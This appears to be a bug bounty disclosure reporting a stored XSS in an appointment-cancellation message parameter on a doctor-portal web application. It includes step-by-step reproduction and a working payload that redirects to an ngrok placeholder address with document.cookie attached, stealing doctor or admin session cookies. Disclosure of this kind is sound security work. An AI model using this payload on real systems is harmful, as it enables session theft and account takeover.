BugBountyHunter

Hi mate,

Using a previously disclosed report I found that when cancelling an appointment via the manageappointment.php endpoint, the message= parameter is still vulnerable to a Stored XSS when viewed in the endpoint /drpannel/cancelled.php.

Impact:

This allows a malicious user to leak a doctor/drAdmin drps cookie because of a missing cookie attribute httponly which can lead to a account takeover.

Steps to Reproduce:

• Create an appointment and fill in all the details.
• Once you have your appointment GUID copy this and Visit the endpoint /manageappointment.php
• Paste your guid and click "Modify Appointment"
• Start your Ngrok server and Turn Intercept on in burpsuite.
• Click "Cancel Appointment" and Intercept the request.
• Add the message parameter with the following payload while replacing the ngrokaddress with your ngrok address:

"><xss/id="1"/tabindex="1"/onfocusin="window.location.href='ngrokaddress?cookie='%2bdocument.cookie">

• Now login as a doctor/admin and visit the endpoint /drpanel/cancelled.php

• Click the cancelled appointment to view the left message.

You will now be sent to our Ngrok address along with the doctor/admin drps cookie.

Best Regards,

Amec0e.

In Collaboration with thebinarybot